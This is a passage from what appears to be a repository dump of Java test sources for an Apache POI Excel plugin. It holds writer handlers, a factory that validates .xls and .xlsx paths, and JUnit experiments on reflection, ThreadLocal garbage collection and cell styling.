    "content": "package com.jun.plugin.poi.test.excel.writer;\n\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.util.List;\n\nimport org.apache.poi.ss.usermodel.Workbook;\n\nimport com.jun.plugin.poi.test.excel.writer.exception.ExcelOutException;\n\n/**\n * 不是线程安全的\n * @author Wujun\n *\n */\npublic class DefaultStreamWriteHandler extends AbstractWriteHandler {\n\tprivate transient OutputStream os;\n\n\t/**\n\t * @param wb\n\t * @param outStream\n\t *            U should close the stream by youself.\n\t * @throws FileNotFoundException \n\t */\n\t DefaultStreamWriteHandler(Workbook wb, OutputStream outStream)  {\n\t\tsuper(wb, outStream);\n\t\tthis.os = super.os;\n\n\t}\n\n\t\n\n\t/*\n\t * (non-Javadoc)\n\t * \n\t * @see com.bing.excel.writer.WriterHandler#flush()\n\t */\n\t@Override\n\tpublic void flush() {\n\t\ttry {\n\t\t\tif (os != null) {\n\t\t\t\tthis.os.flush();\n\t\t\t\tsuper.flush();\n\t\t\t}\n\t\t} catch (IOException e) {\n\n\t\t\tthrow new ExcelOutException(\"Happen exception when flush\", e);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/writer/ExcelWriterFactory.java",
    "content": "package com.jun.plugin.poi.test.excel.writer;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.OutputStream;\nimport java.util.regex.Pattern;\n\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.ss.usermodel.Workbook;\nimport org.apache.poi.xssf.streaming.SXSSFWorkbook;\nimport org.apache.poi.xssf.usermodel.XSSFWorkbook;\n\nimport com.jun.plugin.poi.test.utils.FileCreateUtils;\n\npublic class ExcelWriterFactory {\n\tprivate static final Pattern OLD_EXCEL_PATH = Pattern\n\t\t\t.compile(\"^\\\\S*\\\\.xls$\");\n\tprivate static final Pattern EXCEL_PATH = Pattern.compile(\"^\\\\S*\\\\.xlsx$\");\n\n\tprivate static void isOldPath(String path) {\n\t\tif (!OLD_EXCEL_PATH.matcher(path).matches()) {\n\t\t\tthrow new IllegalArgumentException(\"the file has a illegal name\");\n\t\t}\n\t}\n\n\tprivate static void isNewPath(String path) {\n\t\tif (!EXCEL_PATH.matcher(path).matches()) {\n\t\t\tthrow new IllegalArgumentException(\"the file has a illegal name\");\n\t\t}\n\t}\n\n\tpublic static WriteHandler createHSSF(String path) {\n\t\tisOldPath(path);\n\t\tWorkbook wb = new HSSFWorkbook();\n\t\treturn new DefaultFileWriteHandler(wb, path);\n\t}\n\n\tpublic static WriteHandler createHSSF(File file)\n\t\t\tthrows FileNotFoundException {\n\t\tisOldPath(file.getAbsolutePath());\n\t\tWorkbook wb = new HSSFWorkbook();\n\t\treturn new DefaultFileWriteHandler(wb, file);\n\t}\n\n\tpublic static WriteHandler createHSSF(OutputStream os) {\n\t\tWorkbook wb = new HSSFWorkbook();\n\t\treturn new DefaultStreamWriteHandler(wb, os);\n\t}\n\n\tpublic static WriteHandler createXSSF(String path) {\n\t\tisNewPath(path);\n\t\tWorkbook wb = new XSSFWorkbook();\n\t\treturn new DefaultFileWriteHandler(wb, path);\n\t}\n\n\tpublic static WriteHandler createXSSF(OutputStream os) {\n\t\tWorkbook wb = new HSSFWorkbook();\n\t\treturn new DefaultStreamWriteHandler(wb, os);\n\t}\n\n\tpublic static WriteHandler createXSSF(File file)\n\t\t\tthrows FileNotFoundException {\n\t\tisNewPath(file.getAbsolutePath());\n\t\tWorkbook wb = new XSSFWorkbook();\n\t\treturn new DefaultFileWriteHandler(wb, file);\n\t}\n\n\tpublic static WriteHandler createSXSSF(String path) {\n\t\tisNewPath(path);\n\t\tSXSSFWorkbook wb = new SXSSFWorkbook(200);\n\t\treturn new SXSSFWriterHandler(wb, path);\n\t}\n\n\tpublic static WriteHandler createSXSSF(File file)\n\t\t\tthrows FileNotFoundException {\n\t\tisNewPath(file.getAbsolutePath());\n\t\tSXSSFWorkbook wb = new SXSSFWorkbook(200);\n\t\tFileOutputStream out = new FileOutputStream(file);\n\t\treturn new SXSSFWriterHandler(wb, out);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/writer/SXSSFWriterHandler.java",
    "content": "package com.jun.plugin.poi.test.excel.writer;\n\nimport java.io.IOException;\nimport java.io.OutputStream;\n\nimport org.apache.poi.ss.usermodel.Workbook;\nimport org.apache.poi.xssf.streaming.SXSSFSheet;\nimport org.apache.poi.xssf.streaming.SXSSFWorkbook;\n\nimport com.jun.plugin.poi.test.excel.writer.exception.ExcelOutException;\n\npublic class SXSSFWriterHandler extends AbstractWriteHandler {\n\tprivate transient OutputStream os;\n\tprivate SXSSFWorkbook wb;\n\tpublic SXSSFWriterHandler(Workbook wb, OutputStream outStream) {\n\t\tsuper(wb, outStream);\n\t\tthis.os=super.os;\n\t\tthis.wb=(SXSSFWorkbook) wb;\n\t}\n\t\n\tpublic SXSSFWriterHandler(Workbook wb, String path) {\n\t\tsuper(wb, path);\n\t\tthis.os=super.os;\n\t\tthis.wb=(SXSSFWorkbook) wb;\n\t}\n\n\t@ Override\n\tpublic void flush() {\n\t\ttry {\n\t\t\tif (os != null) {\n\t\t\t\tsuper.flush();\n\t\t\t\tthis.os.close();\n\t\t\t\tthis.wb.dispose();\n\t\t\t}\n\t\t} catch (IOException e) {\n\t\t\tthrow new ExcelOutException(\"Happen exception when flush\", e);\n\t\t}\n\t}\n\n\tpublic void setCurrentSheetByName(String name, int lineNum){\n\t\tSXSSFSheet sheet = wb.getSheet(name);\n\t\tif(sheet==null){\n\t\t\tthrow new NullPointerException(String.format(\"no sheet named [%s]\", name));\n\t\t}else{\n\t\t\tsuper.currentSheet=sheet;\n\t\t\tsuper.currentRowIndex=lineNum;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/writer/WriteHandler.java",
    "content": "package com.jun.plugin.poi.test.excel.writer;\n\nimport java.util.List;\n\nimport com.jun.plugin.poi.test.excel.vo.CellKV;\nimport com.jun.plugin.poi.test.excel.vo.ListLine;\n\n/**\n * 目前的三个实现不是线程安全的\n * @author Wujun\n *\n */\npublic interface WriteHandler {\n\n\t/**\n\t * \n\t */\n\tpublic abstract void writeLine(ListLine line);\n\tpublic abstract void writeHeader(List<CellKV<String>> listStr);\n\tpublic abstract String createSheet(String name);\n\n\t/**\n\t * \n\t */\n\tpublic abstract void flush();\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/writer/exception/ExcelOutException.java",
    "content": "package com.jun.plugin.poi.test.excel.writer.exception;\n\npublic class ExcelOutException extends RuntimeException {\n\n\tpublic ExcelOutException(String message, Throwable cause) {\n\t\tsuper(message, cause);\n\t}\n\n\tpublic ExcelOutException(String message) {\n\t\tsuper(message);\n\t}\n\n\tpublic ExcelOutException(Throwable cause) {\n\t\tsuper(cause);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/other/AnotationTest.java",
    "content": "package com.jun.plugin.poi.test.other;\n\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.ParameterizedType;\nimport java.lang.reflect.Type;\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.HashSet;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Set;\n\nimport org.junit.Test;\n\nimport com.google.common.collect.Lists;\nimport com.google.common.collect.Sets;\nimport com.jun.plugin.poi.test.excel.annotation.OutAlias;\nimport com.jun.plugin.poi.test.excel.vo.OutValue.OutType;\n\npublic class AnotationTest {\n\n\t@Test\n\tpublic void testOut() throws  IllegalAccessException{\n\t\tField[] fields = Person.class.getDeclaredFields();\n\t\tfor (Field field : fields) {\n\t\t\tSystem.out.println(getFieldClass(field));\n\t\t\t System.out.println(\"____________\");\n\t\t\t//System.out.println(createCollection(field.getType()));\n\t\t}\n\n\t}\n\t\n\t\n\t\n\tprivate static Class getFieldClass(Field field) {\n\t    Class fieldClazz = field.getType();\n\t \n\t    if (Collection.class.isAssignableFrom(fieldClazz)) {\n\t        Type fc = field.getGenericType(); // 关键的地方，如果是List类型，得到其Generic的类型\n\t        System.out.println(fc);\n\t       \n\t        if (fc instanceof ParameterizedType) // 如果是泛型参数的类型\n\t        {\n\t            ParameterizedType pt = (ParameterizedType) fc;\n\t \n\t            fieldClazz = (Class) pt.getActualTypeArguments()[0]; //得到泛型里的class类型对象。\n\t        }\n\t    }\n\t \n\t    return fieldClazz;\n\t}\n\tprivate Collection createCollection(Class type) {\n\t\tif (type == null) {\n\t\t\treturn null;\n\t\t}\n\t\tif(type.equals(ArrayList.class)||type.equals(List.class)){\n\t\t\treturn Lists.newArrayList();\n\t\t}else if(type.equals(HashSet.class)||type.equals(Set.class)){\n\t\t\treturn Sets.newHashSet();\n\t\t}else if(type.equals(LinkedList.class)){\n\t\t\treturn Lists.newArrayList();\n\t\t}else{\n\t\t\treturn null;\n\t\t}\n\t\t\n\t}\n}\n@OutAlias(\"nihao\")\nclass Person{\n\tprivate String name;\n\tprivate Integer age;\n\tprivate List<String> li;\n\tprivate HashSet<Integer> set;\n\tprivate ArrayList al;\n}"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/other/LinkedTest.java",
    "content": "package com.jun.plugin.poi.test.other;\n\nimport java.lang.reflect.Array;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Collection;\nimport java.util.Date;\nimport java.util.LinkedList;\n\nimport org.apache.commons.lang3.ArrayUtils;\nimport org.junit.Test;\nimport org.omg.CORBA.portable.UnknownException;\n\nimport com.google.common.primitives.Primitives;\n\npublic class LinkedTest {\n\t@Test\n\tpublic void testTime(){\n\t\t\n\t\t/*System.out.println(getArrayListTime());\n\t\tSystem.out.println(\"--------------\");\n\t\tSystem.out.println(getLinkedArrayTime());*/\n\t\tbyte a='a';\n\t\tbyte c=78;\n\t\tchar b='a';\n\t\tSystem.out.println(a);\n\t\tSystem.out.println(c);\n\t\tSystem.out.println(b);\n\t\tint i=23;\n\t\tdouble d=(double)i;\n\t\tSystem.out.println(d);\n\t}\n\t\n\tpublic   long getArrayListTime(){\n        Collection cl = new ArrayList();\n        long start = System.currentTimeMillis();\n        for(int i = 0; i < 1000000; i++){\n            cl.add(new Date());\n            cl.add(\"a\");\n        }\n        \n      \n        return System.currentTimeMillis() - start;\n    }\n    public  long  getLinkedArrayTime(){\n        \n        Collection cl = new LinkedList();\n        long start = System.currentTimeMillis();\n        for(int i = 0; i < 1000000; i++){\n        \t cl.add(new Date());\n            cl.add(\"a\");\n        }\n    \n       \n        return System.currentTimeMillis() - start;\n    }\n    \n    @Test\n    public void arrayTest(){\n    \tint[] arr={1,12,45,63,25};\n    \tObject b=arr;\n    \t\n    \t//_____-----以上模仿传过来的参数b---------------\n    \tClass<?> type = b.getClass().getComponentType();\n    \tObject[] arrObj=null;\n    \tint length = Array.getLength(b);\n    \tfor(int i=0;i<length;i++){\n    \t\tSystem.out.println(Array.get(b, i));\n    \t}\n    \t\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/other/MyTest.java",
    "content": "package com.jun.plugin.poi.test.other;\n\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.text.SimpleDateFormat;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.apache.commons.lang3.time.FastDateFormat;\nimport org.apache.poi.EncryptedDocumentException;\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.openxml4j.exceptions.InvalidFormatException;\nimport org.apache.poi.ss.usermodel.Cell;\nimport org.apache.poi.ss.usermodel.CellStyle;\nimport org.apache.poi.ss.usermodel.Font;\nimport org.apache.poi.ss.usermodel.IndexedColors;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.apache.poi.ss.usermodel.Sheet;\nimport org.apache.poi.ss.usermodel.Workbook;\nimport org.apache.poi.ss.util.CellRangeAddress;\nimport org.apache.poi.ss.util.CellUtil;\nimport org.apache.poi.xssf.usermodel.XSSFWorkbook;\nimport org.junit.Test;\n\npublic class MyTest {\n\t@Test\n\tpublic void testme() throws IOException {\n\t\t\n\t\t  Workbook wb = new XSSFWorkbook(); //or new HSSFWorkbook();\n\n\t        Sheet sheet = wb.createSheet();\n\t        Row row = sheet.createRow((short) 2);\n\t        row.setHeightInPoints(30);\n\n\t        createCell(wb, row, (short) 0, CellStyle.ALIGN_CENTER, CellStyle.VERTICAL_BOTTOM);\n\t        createCell(wb, row, (short) 1, CellStyle.ALIGN_CENTER_SELECTION, CellStyle.VERTICAL_BOTTOM);\n\t        createCell(wb, row, (short) 2, CellStyle.ALIGN_FILL, CellStyle.VERTICAL_CENTER);\n\t        createCell(wb, row, (short) 3, CellStyle.ALIGN_GENERAL, CellStyle.VERTICAL_CENTER);\n\t        createCell(wb, row, (short) 4, CellStyle.ALIGN_JUSTIFY, CellStyle.VERTICAL_JUSTIFY);\n\t        createCell(wb, row, (short) 5, CellStyle.ALIGN_LEFT, CellStyle.VERTICAL_TOP);\n\t        createCell(wb, row, (short) 6, CellStyle.ALIGN_RIGHT, CellStyle.VERTICAL_TOP);\n\t        // Write the output to a file\n\t        \n\t        FileOutputStream fileOut = new FileOutputStream(\"xssf-align.xlsx\");\n\t        wb.write(fileOut);\n\t        \n\t        fileOut.close();\n\t}\n\t/**\n     * Creates a cell and aligns it a certain way.\n     *\n     * @param wb     the workbook\n     * @param row    the row to create the cell in\n     * @param column the column number to create the cell in\n     * @param halign the horizontal alignment for the cell.\n     */\n    private  void createCell(Workbook wb, Row row, short column, short halign, short valign) {\n        Cell cell = row.createCell(column);\n        cell.setCellValue(\"Align It\");\n        CellStyle cellStyle = wb.createCellStyle();\n        cellStyle.setAlignment(halign);\n        cellStyle.setVerticalAlignment(valign);\n        cell.setCellStyle(cellStyle);\n    }\n    \n    @Test\n    public void test2() throws IOException{\n    \t Workbook wb = new HSSFWorkbook();\n    \t    Sheet sheet = wb.createSheet(\"new sheet\");\n\n    \t    // Create a row and put some cells in it. Rows are 0 based.\n    \t    Row row = sheet.createRow(1);\n\n    \t    // Create a cell and put a value in it.\n    \t    \n\n    \t    // Style the cell with borders all around.\n    \t    CellStyle style = wb.createCellStyle();\n    \t    \n    \t    //     style.setFillBackgroundColor(IndexedColors.AUTOMATIC.getIndex());\n    \t   style.setFillPattern(CellStyle.SOLID_FOREGROUND);\n    \t   style.setFillForegroundColor(IndexedColors.LIGHT_ORANGE.index);\n    \t   \n    \t    Font font = wb.createFont();\n    \t    font.setFontHeightInPoints((short)24);\n    \t    font.setFontName(\"Courier New\");\n    \t    font.setItalic(true);\n    \t    font.setStrikeout(true);\n    \t    style.setFont(font);\n    \t    CellUtil.createCell(row, 1, \"nihao\",style);\n    \t    //style.setFont(font);\n    \t    // Write the output to a file\n    \t    FileOutputStream fileOut = new FileOutputStream(\"workbook.xls\");\n    \t    wb.write(fileOut);\n    \t    fileOut.close();\n    }\n    private Map<String, String> map=new HashMap<String, String>();\n    @Test\n    public void before(){\n    \tmap.put(\"a\", \"aa\");\n    }\n    \n    @Test\n    public void testLong() throws EncryptedDocumentException, InvalidFormatException, IOException{\n    \t Workbook wb = new HSSFWorkbook();\n    \t    Sheet sheet = wb.createSheet(\"new sheet\");\n\n    \t    Row row = sheet.createRow((short) 1);\n    \t    Cell cell = row.createCell((short) 1);\n    \t    cell.setCellValue(\"This is a test of merging\");\n\n    \t    sheet.addMergedRegion(new CellRangeAddress(\n    \t            1, //first row (0-based)\n    \t            1, //last row  (0-based)\n    \t            1, //first column (0-based)\n    \t            2  //last column  (0-based)\n    \t    ));\n\n    \t    // Write the output to a file\n    \t    FileOutputStream fileOut = new FileOutputStream(new File(\"E:/test/gzb.xls\"));\n    \t    wb.write(fileOut);\n    \t    fileOut.close();\n    \t \n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/other/ReadTestThreadLocal.java",
    "content": "package com.jun.plugin.poi.test.other;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.net.URISyntaxException;\nimport java.net.URL;\nimport java.util.Date;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\n\nimport org.junit.Test;\n\nimport com.google.common.base.MoreObjects;\nimport com.jun.plugin.poi.test.excel.annotation.CellConfig;\nimport com.jun.plugin.poi.test.excel.core.BingExcelEvent;\nimport com.jun.plugin.poi.test.excel.core.BingExcelEventBuilder;\nimport com.jun.plugin.poi.test.excel.core.BingReadListener;\nimport com.jun.plugin.poi.test.excel.core.impl.BingExcelEventImpl.ModelInfo;\nimport com.jun.plugin.poi.test.excel.reader.ExcelReadListener;\nimport com.jun.plugin.poi.test.excel.reader.ExcelReaderFactory;\nimport com.jun.plugin.poi.test.excel.reader.ReadHandler;\nimport com.jun.plugin.poi.test.excel.vo.ListRow;\n\npublic class ReadTestThreadLocal {\n\n\t@Test\n\tpublic void readExcelTest() {\n\t\tSystem.out.println(\"start: \" + System.currentTimeMillis());\n\t\tnew ThreadTest().start();\n\t\tnew ThreadTest().start();\n\t\tnew ThreadTest().start();\n\t\tnew ThreadTest().start();\n\t\tnew ThreadTest().start();\n\n\t\ttry {\n\t\t\tThread.sleep(25000);\n\t\t} catch (InterruptedException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\tpublic static class ThreadTest extends Thread {\n\n\t\t@Override\n\t\tpublic void run() {\n\t\t\t/*BingExcelEvent builder = BingExcelEventBuilder.toBuilder()\n\t\t\t\t\t.builder();\n\t\t\ttry {\n\t\t\t\tFile f = new File(\"E:/test/bc.xlsx\");\n\n\t\t\t\tbuilder.readFile(f, Person.class, 1, new BingReadListener() {\n\t\t\t\t\t\n\n\t\t\t\t\t@Override\n\t\t\t\t\tpublic void readModel(Object object, ModelInfo modelInfo) {\n\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t\tSystem.out.println(System.currentTimeMillis());\n\t\t\t} catch (Exception e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}*/\n\t\t\tFile f = new File(\"E:/test/bc.xlsx\");\n\t\t\ttry {\n\t\t\t\tReadHandler handler = ExcelReaderFactory.create(f, new ExcelReadListener() {\n\t\t\t\t\t\n\t\t\t\t\t@Override\n\t\t\t\t\tpublic void startSheet(int sheetIndex, String name) {\n\t\t\t\t\t\t// TODO Auto-generated method stub\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t@Override\n\t\t\t\t\tpublic void optRow(int curRow, ListRow rowList) {\n\t\t\t\t\t\t// TODO Auto-generated method stub\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t@Override\n\t\t\t\t\tpublic void endWorkBook() {\n\t\t\t\t\t\t// TODO Auto-generated method stub\n\t\t\t\t\t\tSystem.out.println(System.currentTimeMillis());\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t@Override\n\t\t\t\t\tpublic void endSheet(int sheetIndex, String name) {\n\t\t\t\t\t\t// TODO Auto-generated method stub\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t\thandler.readSheets();\n\t\t\t} catch (Exception e) {\n\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\n\t}\n\n\tpublic static class Person {\n\n\t\t@CellConfig(index = 0)\n\t\tprivate Date date;\n\n\t\tpublic Date getDate() {\n\t\t\treturn date;\n\t\t}\n\n\t\tpublic void setDate(Date date) {\n\t\t\tthis.date = date;\n\t\t}\n\n\t\tpublic String toString() {\n\t\t\treturn MoreObjects.toStringHelper(this.getClass()).omitNullValues()\n\t\t\t\t\t.add(\"date\", date).toString();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/other/ReadTestThreadLocalGC.java",
    "content": "package com.jun.plugin.poi.test.other;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.net.URISyntaxException;\nimport java.net.URL;\nimport java.util.Date;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\n\nimport org.junit.Test;\nimport org.junit.internal.runners.statements.RunAfters;\n\nimport com.google.common.base.MoreObjects;\nimport com.jun.plugin.poi.test.excel.annotation.CellConfig;\nimport com.jun.plugin.poi.test.excel.core.BingExcelEvent;\nimport com.jun.plugin.poi.test.excel.core.BingExcelEventBuilder;\nimport com.jun.plugin.poi.test.excel.core.BingReadListener;\nimport com.jun.plugin.poi.test.excel.core.impl.BingExcelEventImpl.ModelInfo;\n\npublic class ReadTestThreadLocalGC {\n\t\n\n\t@Test\n\tpublic void readExcelTest() throws InterruptedException {\n\n\t\tHandler h=new Handler();\n\t\th.printSome();\n\t\t//注意此处\n\t\th.local=null;\n\t\tThread.sleep(1000);\n\t\tSystem.out.println(\"gc1\");\n\t\tSystem.gc();\n\t\t//System.out.println(h.local.get());\n\t\th=new Handler();\n\t\th.printSome();\n\t\t\n\t\tThread.sleep(1000);\n\t\tSystem.out.println(\"gc2\");\n\t\tSystem.gc();\n\t\t;\n\t}\n\n\t\n\n\t@Test\n\tpublic void readExcelTest2() throws InterruptedException {\n\n\t\t//System.out.println(Handler.local);\n\t\tThread t1= new Thread(new Runnable() {\n\n\t\t\t@Override\n\t\t\tpublic void run() {\n\t\t\t\ttry {\n\t\t\t\t\tThread.sleep(1000);\n\t\t\t\t} catch (InterruptedException e) {\n\t\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t\tHandler h=new Handler();\n\t\t\t\th.printSome();\n\t\t\t\t//h.local=null;\n\t\t\t\tSystem.out.println(h.local);\n\t\t\t}\n\t\t});\n\t\tThread t2= new Thread(new Runnable() {\n\t\t\t \n\t\t\t @Override\n\t\t\t public void run() {\n\t\t\t\t try {\n\t\t\t\t\tThread.sleep(1000);\n\t\t\t\t} catch (InterruptedException e) {\n\t\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t\t Handler h=new Handler();\n\t\t\t\t h.printSome();\n\t\t\t\t //h.local=null;\n\t\t\t\t System.out.println(h.local);\n\t\t\t }\n\t\t });\n\t\tThread t3= new Thread(new Runnable() {\n\t\t\t \n\t\t\t @Override\n\t\t\t public void run() {\n\t\t\t\t try {\n\t\t\t\t\tThread.sleep(1000);\n\t\t\t\t} catch (InterruptedException e) {\n\t\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t\t Handler h=new Handler();\n\t\t\t\t h.printSome();\n\t\t\t\t //h.local=null;\n\t\t\t\t System.out.println(h.local);\n\t\t\t }\n\t\t });\n\t\tt1.start();\n\t\tt2.start();\n\t\tt3.start();\n\t\t System.gc();\n\t\tSystem.out.println(\"gc1\");\n\t\tSystem.gc();\n\t\tThread.sleep(3000);\n\t\tSystem.out.println(\"gc2\");\n\t\tSystem.gc();\n\t\tThread.sleep(1000);\n\t\tSystem.gc();\n\t\t//System.out.println(Handler.local);\n\t\n\t}\n\n\tpublic static class Handler{\n\t\t static ThreadMyLocal<Person> local;\n\n\t\tprivate Person getPerson() {\n\t\t\tif(local==null){\n\t\t\t\tlocal=new ThreadMyLocal<>();\n\t\t\t}\n\t\t\tif(local.get()==null){\n\t\t\t\tPerson person = new Person();\n\t\t\t\tperson.setAge(((Double)(Math.random()*100)).intValue());\n\t\t\t\tlocal.set(person);\n\t\t\t}\n\t\t\treturn local.get();\n\t\t}\n\t\t\n\t\t\n\t\tpublic void printSome(){\n\t\t\t\n\t\t\tPerson person = getPerson();\n\t\t\tSystem.out.println(person.getAge()+\":Person对象age属性\");\n\t\t}\n\n\n\t\t@Override\n\t\tprotected void finalize() throws Throwable {\n\t\t\tSystem.out.println(\"Handler GC\");\n\t\t\tsuper.finalize();\n\t\t}\n\t\t\n\t}\n\t\n\t\n\t\n\t\n\tpublic static class ThreadMyLocal<T> extends ThreadLocal<T> {\n\n\t\t\n\t\t\n\t\t@Override\n\t\tprotected void finalize() throws Throwable {\n\t\t\tSystem.out.println(\"threadLocal  gc:\");\n\t\t\tsuper.finalize();\n\t\t}\n\n\t}\n\n\tpublic static class Person {\n\n\t\tprivate int age;\n\n\t\tpublic int getAge() {\n\t\t\treturn age;\n\t\t}\n\t\tpublic void setAge(int age) {\n\t\t\tthis.age = age;\n\t\t}\n\n\t\t@Override\n\t\tprotected void finalize() {\n\t\t\tSystem.out.println(\"Person  gc\");\n\t\t}\n\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/other/TestTest.java",
    "content": "package com.jun.plugin.poi.test.other;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport org.junit.Test;\n\nimport com.jun.plugin.poi.test.excel.vo.CellKV;\nimport com.jun.plugin.poi.test.excel.vo.ListLine;\nimport com.jun.plugin.poi.test.excel.writer.ExcelWriterFactory;\nimport com.jun.plugin.poi.test.excel.writer.WriteHandler;\n\npublic class TestTest {\n\t@Test\n\tpublic void testme() {\n\t\tWriteHandler handler = ExcelWriterFactory.createSXSSF(\"E:/test/big.xlsx\");\nList<CellKV<String>> listStr=new ArrayList<>();\nlistStr.add(new CellKV<String>(0, \"diyi\"));\n\t\thandler.createSheet(\"aa\");\n\t\thandler.writeHeader(listStr);\n\t\thandler.writeLine(new ListLine().addValue(0, true));\n\t\thandler.flush();\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/utils/DataTypeDetect.java",
    "content": "package com.jun.plugin.poi.test.utils;\n\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\n/**\n * @author Wujun\n * \n * @date 2016-2-17 Description:\n */\npublic class DataTypeDetect {\n\tprivate static final Pattern DATE_PTRN = Pattern\n\t\t\t.compile(\"^(?:(?:(?:(?:1[6-9]|[2-9]\\\\d)\\\\d{2})-(?:0[13578]|1[02])-(?:0[1-9]|[12]\\\\d|3[01]))\"\n\t\t\t\t\t+ \"|(?:(?:(?:1[6-9]|[2-9]\\\\d)\\\\d{2})-(?:0[13456789]|1[012])-(?:0[1-9]|[12]\\\\d|30))\"\n\t\t\t\t\t+ \"|(?:(?:(?:1[6-9]|[2-9]\\\\d)\\\\d{2})-02-(?:0[1-9]|1\\\\d|2[0-9])))\"\n\t\t\t\t\t+ \"\\\\s+(?:20|21|22|23|[0-1]\\\\d):[0-5]\\\\d:[0-5]\\\\d$\");\n\tprivate static final Pattern DATE_PTRN1 = Pattern\n\t\t\t.compile(\"^(?:(?:(?:(?:1[6-9]|[2-9]\\\\d){0,1}\\\\d{2})[-/\\\\\\\\年_](?:0?[13578]|1[02])[-/\\\\\\\\月_](0?[1-9]|[12]\\\\d|3[01]))\"\n\t\t\t\t\t+ \"|(?:(?:(?:1[6-9]|[2-9]\\\\d){0,1}\\\\d{2})[-/\\\\\\\\年_](?:0?[13456789]|1[012])[-/\\\\\\\\月_](0?[1-9]|[12]\\\\d|30))\"\n\t\t\t\t\t+ \"|(((1[6-9]|[2-9]\\\\d){0,1}\\\\d{2})[-/\\\\\\\\年_]0?2[-/\\\\\\\\月_](?:0?[1-9]|1\\\\d|2[0-9])))\"\n\t\t\t\t\t+ \"(?:\\\\s+|[日号]\\\\s*)(?:20|21|22|23|[0-1]?\\\\d)[:时点][0-5]?\\\\d(?:[:分]([0-5]?\\\\d秒?)|分?){0,1}\\\\s*$\");\n\tprivate static final Pattern DATE_PTRN2 = Pattern\n\t\t\t.compile(\"^(?:(?:(?:(?:1[6-9]|[2-9]\\\\d){0,1}\\\\d{2})[-/\\\\\\\\年_](?:0?[13578]|1[02])[-/\\\\\\\\月_](0?[1-9]|[12]\\\\d|3[01])[日号]{0,1})\"\n\t\t\t\t\t+ \"|(?:(?:(?:1[6-9]|[2-9]\\\\d){0,1}\\\\d{2})[-/\\\\\\\\年_](?:0?[13456789]|1[012])[-/\\\\\\\\月_](0?[1-9]|[12]\\\\d|30)[日号]{0,1})\"\n\t\t\t\t\t+ \"|(?:(?:(?:1[6-9]|[2-9]\\\\d){0,1}\\\\d{2})[-/\\\\\\\\年_]0?2[-/\\\\\\\\月_](?:0?[1-9]|1\\\\d|2[0-9])[日号]{0,1}))\"\n\t\t\t\t\t+ \"(?:\\\\s*|(?:\\\\s+0{1,2}:0{1,2}:0{1,2}))$\");\n\t/*private static final Pattern DATE_PTRN3 = Pattern\n\t\t\t.compile(\"^(?:(?:(?:(?:1[6-9]|[2-9]\\\\d)\\\\d{2})(?:0[13578]|1[02])(?:0[1-9]|[12]\\\\d|3[01]))\"\n\t\t\t\t\t+ \"|(?:(?:(?:1[6-9]|[2-9]\\\\d)\\\\d{2})(?:0[13456789]|1[012])(?:0[1-9]|[12]\\\\d|30))\"\n\t\t\t\t\t+ \"|(?:(?:(?:1[6-9]|[2-9]\\\\d)\\\\d{2})02(?:0[1-9]|1\\\\d|2[0-9])))\"\n\t\t\t\t\t+ \"$\");*/\n\tprivate static final Pattern NUMBER_PTRN = Pattern\n\t\t\t.compile(\"^(?:0|[1-9]\\\\d*)(?:\\\\.\\\\d*)?$\");\n\tprivate static final Pattern 